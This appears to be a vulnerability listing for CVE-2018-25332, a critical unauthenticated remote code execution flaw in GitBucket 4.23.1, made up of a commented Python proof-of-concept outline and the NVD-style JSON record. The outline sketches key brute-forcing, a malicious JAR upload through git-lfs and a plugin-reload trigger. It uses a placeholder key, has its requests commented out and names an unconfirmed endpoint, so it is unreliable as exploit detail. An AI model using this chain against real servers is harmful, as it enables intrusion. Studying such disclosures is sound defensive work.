CVE-2018-25332

import requests # Target configuration target_host = "http://vulnerable-gitbucket:8080" # Step 1: Brute force the weak Blowfish secret key # The key space is small, allowing rapid cracking. secret_key = "cracked_secret_key" # Step 2: Prepare malicious JAR plugin malicious_jar_path = "./exploit.jar" lfs_endpoint = f"{target_host}/git-lfs/objects/batch" # Step 3: Upload the malicious JAR via git-lfs # Use the cracked key to sign/authenticate the upload request files = {"file": open(malicious_jar_path, "rb")} headers = {"Authorization": f"Bearer {secret_key}"} # response = requests.post(lfs_endpoint, files=files, headers=headers) # print(f"Upload status: {response.status_code}") # Step 4: Trigger RCE # Access the exposed endpoint to force load the uploaded plugin trigger_url = f"{target_host}/api/v3/plugins/reload" # requests.post(trigger_url, headers=headers) print("PoC Logic completed: Key Brute-force -> JAR Upload -> RCE Trigger")

{"cve": {"id": "CVE-2018-25332", "sourceIdentifier": "[email protected]", "published": "2026-05-17T13:16:44.840", "lastModified": "2026-05-18T20:16:05.873", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitBucket 4.23.1 contains an unauthenticated remote code execution vulnerability that allows attackers to execute arbitrary commands by exploiting weak secret token generation and insecure file upload functionality. Attackers can brute-force the Blowfish encryption key, upload a malicious JAR plugin via the git-lfs endpoint, and execute system commands through an exposed exploit endpoint."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/gitbucket/gitbucket", "source": "[email protected]"}, {"url": "https://security.szurek.pl/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/44668", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/gitbucket-unauthenticated-remote-code-execution", "source": "[email protected]"}]}}